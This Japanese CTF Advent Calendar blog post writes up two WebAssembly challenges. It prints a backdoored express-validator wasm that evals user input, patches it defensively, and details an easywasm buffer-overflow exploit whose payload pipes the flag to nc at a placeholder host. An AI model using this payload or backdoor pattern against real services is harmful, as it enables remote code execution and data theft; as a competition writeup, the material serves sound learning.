バランスを取りたい

よくCTFの記事を書きます

WebAssembly解いてみる

CTF Advent Calendar 2018の12日目の記事です。

前回のWebAssemblyネタが書ききれなかったので続きを12日目に突っ込みました。
前回はこれ。 xrekkusu.hatenablog.jp

解説というか中身はただのWebAssembly問題のwriteupです。

bew (DEFCON 26 Finals)

DEFCONの決勝で出題された問題。
webを逆から読んだ問題名の通り、Node.jsで動くサーバを攻撃するWeb問です。
WASMはブラウザ上で動くと思われがちですが、特に実行環境を指定したバイナリ形式ではないので対応していればどんな環境でも動きます。 今回はNode.js内から呼び出しているという問題です。

問題をダウンロードして、「WASM問題くさいな」という直感を元にソースコードを見ると、express-validateというパッケージの中身が差し替わっていて謎のwasmファイルが設定されています。
wasmファイルを雑にstringsすると以下のようなコードが見えます。

{ str = Pointer_stringify($0); try { eval(str); return 1;} catch(err) { return 0; } console.log(eval('const fs = require("fs");fs.writeFile("/tmp/test.txt", "testwrites")') + 'WEBASS got ' + $0); }

WASM内でそのままJSが動くはずがないので、index.jsの方を見るとここにも同じコードが載っていました。
コードの意味については理解できませんがとりあえず……。

f:id:xrekkusu:20181212014738p:plain
報告画面

f:id:xrekkusu:20181212014815p:plain
サーバーのログ

ふーん、なるほどね。
DEFCON決勝でこれか……。

今回はWASMの話なので簡単な説明に留めておくと、このコードはNode.jsの権限で動くし、ファイル操作もできてしまうのでバックドアかけ放題でした。 こんな破滅的な問題設定があったもんかと困っていたら、日をまたいで運営があの手この手でバックドアを掛けさせないように頑張っていたのでクソ問だったんだと思います。

はい、それではwasmの中身を見ます。

といっても脆弱性自体は見つかっているので基本的にはディフェンス方向の視点で読むことになります。
ルール上このwasmファイルに対するパッチのみが認められているため、ディフェンスするためには内容を理解する必要があります。

// submit画面のハンドラ部分
var val = require('express-validator')
/* 略 */

/* POST page. */
router.post('/submit', function(req, res, next) {
  str = req.body.name.trim()+"\n";
  ptr = val.allocate(val.intArrayFromString(str), 'i8', val.ALLOC_NORMAL);
  r = val._sanitize(ptr);
  if (r) {
    fs.appendFile('public/suspects.txt', str, function (err) { 
      if (err) throw err;
      console.log('File updated!');
      })
      res.render('submit', {title: 'Thanks for reporting ' + req.body.name + ''});
  } else {
    res.render('submit', {title: 'Not reported.'});
  }
});

express-validatorの_sanitizeというメソッドを呼び出した結果によって挙動が変わるみたいです。
ここで、allocateというメソッドが登場していますが、これは文字列の受け渡しのためにJS側からEmscriptenのラッパを使ってメモリを動的に確保しています。

読むべき関数名がわかったので、wasmのファイルをwatに変換してその関数を探します。

(export "_sanitize" (func 22))

とあるのでwasm2watの結果に(;22;)というコメントがついている関数が正解です。 WASMではこの辺の管理を番号でやっているのでわかりにくいですが、wasm2watがギリギリサポートしてくれるので助かります。

func 22の中身ですが、これだけで400行弱あってすべてを解説するのは難しいので処理の内容だけ説明すると、 記号だらけの文字列、fs, requireを含む文字列、JSとして実行するとエラーになる文字列の場合は0を返し、それ以外の文字列では1を返す関数になっています。
最後の「JSとして実行するとエラーになる」の部分が冒頭で紹介したコードでチェックされる部分であり、実際に実行してしまっているのでRCEが起きているわけですね。

ディフェンスではこの関数をいじってどうやって安全に文字列をJSとして評価するのかという部分がポイントになりそうです。 binjaではコードの評価時にサンドボックスコードを挿入してrequireをさせにくくするという方針を立てました。

bewのwriteupめいていましたがここからがこの記事の本題です。
サンドボックスコードの作成はチームメンバーにまかせて、自分はサンドボックスコードを挿入する仕組みの方を担当しました。

方針としてはこんな感じで考えました。

  1. mallocを呼び出して追加のバッファを確保
  2. そこへサンドボックスコードと入力された文字列をmemcpy
  3. JS側へその文字列を渡して実行してもらう

mallocもmemcpyも内部で持っているので自分で実装する必要はなく、実装コストは低そうです。
また、EmscriptenではLLVMSSAを受けたWASMコードが出力されますが、WASM側にそんな制約はないので使われなくなったローカル変数を使い回すことができます。

最終的なパッチ用コードは以下のとおりです。

;; buffer = _malloc(input_len + 500)
get_local 41
i32.const 500
i32.add
call 24 ;; malloc
set_local 33

;; _memcpy(buffer, patchcode, 128)
get_local 33 ;; buffer
i32.const 3881 ;; patchcode
i32.const 128 ;; patch_header_len
call 80 ;; memcpy
drop

;; _memcpy(buffer + 128, input, input_len)
get_local 33 ;; buffer 
i32.const 128
i32.add
get_local 12 ;; input
get_local 41 ;; input_len
call 80 ;; memcpy
drop

;; _memcpy(buffer + 128 + input_len, patchcode + 128, 128)
get_local 33 ;; buffer
i32.const 128
get_local 41
i32.add
i32.add ;; buffer + 128 + input_len

i32.const 4009 ;; patchcode + 128 (4009 = 3881 + 128)

i32.const 128 ;; patch_footer_len
call 80 ;; memcpy
drop

DEFCONではwasmに対するパッチという形で適用され、変更可能バイト数にも上限があるので、必要なさそうなfs文字列の検知とかの部分を潰して上記のコードを挿入しました。

が、結果は失敗。後述の理由により詳細な検証はしていませんが、どこかでコードをミスっているらしく、サーバーに登録される文字列にゴミがついてしまっていたためSLAチェックで落とされてしまいました。
最初の数tickは通っていたのになぜ……。

仕方がないので試しにevalが行われる前に強制的にreturn 1するようにしたらSLAチェックも落ちず、コードも実行されなくなりました。え、それでいいのか?

easywasm (BCTF 2018)

今度はWebジャンルで出るPwnの問題です。

www.dropbox.com

WASMの問題にありがちなのかわかりませんが、WASMの部分を作るのに時間がかかって大体Webインターフェースがゴミです。
今回はGETでパラメータを与えるとWASMの関数に渡してくれるAPIみたいなものが提供されています。

API/add_person, /change_name, /intro の3つです。
同様の関数がwasmファイル内にも見られるのでこれらを操作してRCEに持ち込めという問題だということがわかります。

watに変換した後内容を読んでいきます。
読み方を説明したいところではありますが、読む部分に関しては各々の命令を覚えて気合で読むしかないと思います。

add_person

人を追加します。

指定できるのは名前(name)とチューターかどうかのフラグ(is_tutor)です。
これらのデータは次の構造体に格納されます。

struct {
  int id; // 0
  int is_used;  // 4
  char name[60];  // 8
  int print_func;  // 68
}

nameは可変長の文字列を受け取りますが、特に文字列長のチェックをせずにstrcpyで書き込みます。(BOF) その後、print_funcに値を設定します。is_tutor!=0のときは6が、is_tutor==0のときは7が書き込まれます。

change_name

名前を変更します。

パラメータはIDと変更する名前(name)です。 こちらも文字列長のチェックをせずにstrcpyします。(BOF)

intro

自己紹介文を出力します。

tutorなら "I am a tutor"、そうでなければ "I am a student" と出力する関数を関数ポインタで呼び出します。

WASM上での任意コード実行

WASMではスタックが完全に別個で管理されているためリターンアドレスの書き換えを元にした攻撃はそもそも存在しません。 加えて、プログラム自体の改変などもできないので任意のコードを実行したり関数を呼び出したりする方法は非常に限られています。

原理的にエクスプロイトに使えそうなものを仕様から探すと、唯一呼び出す関数を切り替えることができるcall_indirectという命令が見つかります。
これは、スタックから1つインデックスを取ってオペランドに指定したシグネチャを持つ関数を呼び出す命令です。 インデックスは定義されたテーブル内の順番を指す値で、テーブル内に呼び出す関数番号が記述されています。

スタックからインデックスを取るとき、その値はもしかしたらユーザー入力から来る値かもしれません。
もしインデックスに任意の値が設定できた場合、オペランドに指定されているシグネチャと合うテーブルに載っている関数を呼び出すことができます。

筆者が知っている任意コード実行の基点はこれしかないんですが、これ以外に何かないんですかね。

easywasmのエクスプロイト

tutor関数の中身のcall_indirectに関する部分を抜き出すとこのような感じになっています。

if  ;; label = @2
  get_local 12 ;; index
  set_local 4
  i32.const 4064
  get_local 4
  i32.const 72
  i32.mul
  i32.add
  set_local 5
  get_local 5
  i32.const 68
  i32.add
  set_local 6 ;; var_6 = &print_func
  get_local 6
  i32.load
  set_local 7 ;; var_7 = print_func
  get_local 12 ;; index
  set_local 8
  i32.const 4064
  get_local 8
  i32.const 72
  i32.mul
  i32.add
  set_local 9
  get_local 9
  i32.const 8
  i32.add
  set_local 10 ;; name
  get_local 10 ;; name
  get_local 7
  i32.const 7
  i32.and
  i32.const 18
  i32.add
  call_indirect (type 0) ;; print_func(name)
  i32.const 0
  set_local 1
  get_local 1
  set_local 11
  get_local 22
  set_global 12
  get_local 11
  return
end

頭の方で構造体からprint_funcの値を取得し、その値を少しいじってcall_indirectに渡しています。 計算している内容はprint_func & 7 + 18で、計算結果の値がcall_indirectの引数としてスタックに置かれます。
つまり、print_funcが6, 7の場合はそれぞれテーブルから24, 25番目の関数が呼び出されることになります。

次にテーブルの内容を見てみます。

(elem (get_global 1) 95 33 96 96 39 35 40 96 96 96 34 96 96 96 96 96 96 96 97 97 97 97 97 16 24 25)

24, 25番目の値は24, 25でした。
print_func & 7 + 18という条件だと18から25までの関数を呼び出すことができるのでこの範囲に使えそうな関数がないかを探します。
この範囲にある他の関数は97, 16です。

16番の関数に注目すると、Emscriptenが以下のような関数をインポートしています。

(import "env" "_emscripten_run_script" (func (;16;) (type 0)))

明らかにスクリプトを実行できそうな上、関数のシグネチャもtype 0で一致しています。
今回type 0のシグネチャは引数に1つ整数値を取って返り値はない関数です。

print_funcは引数にnameを指定して呼び出しているので、print_funcの値を5に設定できればnameの内容がJSとして実行できそうです。

あとはpwnの入門問題相当の内容になります。
add_personではオーバーフローさせてもprint_funcの値は書き換えられないので、change_nameの方のBOFから攻めていきます。

nameに以下のペイロードを設定してchange_nameを呼び出します。
バッファサイズが60文字なので短く書かないといけないかなと思ったんですが、BOFしてるので普通にコメントでprint_func部分を飛ばして後ろにコードを書きました。

name = " " * 58 + "/*\x05" + "*/require('child_process').execSync('cat flag | nc host port')"

次に、すり替えたprint_funcを呼ぶためにintroを呼び出します。
すると仕込んだコードが発火してフラグが降ってきます。

これがWASMのpwn基本問題で難しくしようとしてもやることは変わらない気がするので、問題として今後出るかと言われると怪しい気がします。
しかも、テーブル上の都合のいい位置にJSが実行できる関数が置いてあるはずはなく、今回はそういう環境になるように強引にバイナリが変更されているような気がします。

出たらドヤ顔できるので今後出そうな問題を予想しておくと……いや、思いついたけど問題のネタになりそうなので内緒にしておきます。

おわりに

自作問題までは書く余裕がありませんでした。当初の予定ではbewとそれだったので代わりにeasywasm入れたしいいよね?
中身は「wasm2cを使ってCのコードに戻した後KLEEでシンボリック実行をしよう」というだけなので暇な人はやってみてください。

明日は@hakatashiさんによる「CBCTF Finals のWriteup書けへんやんけ、どうしてくれんねん」です。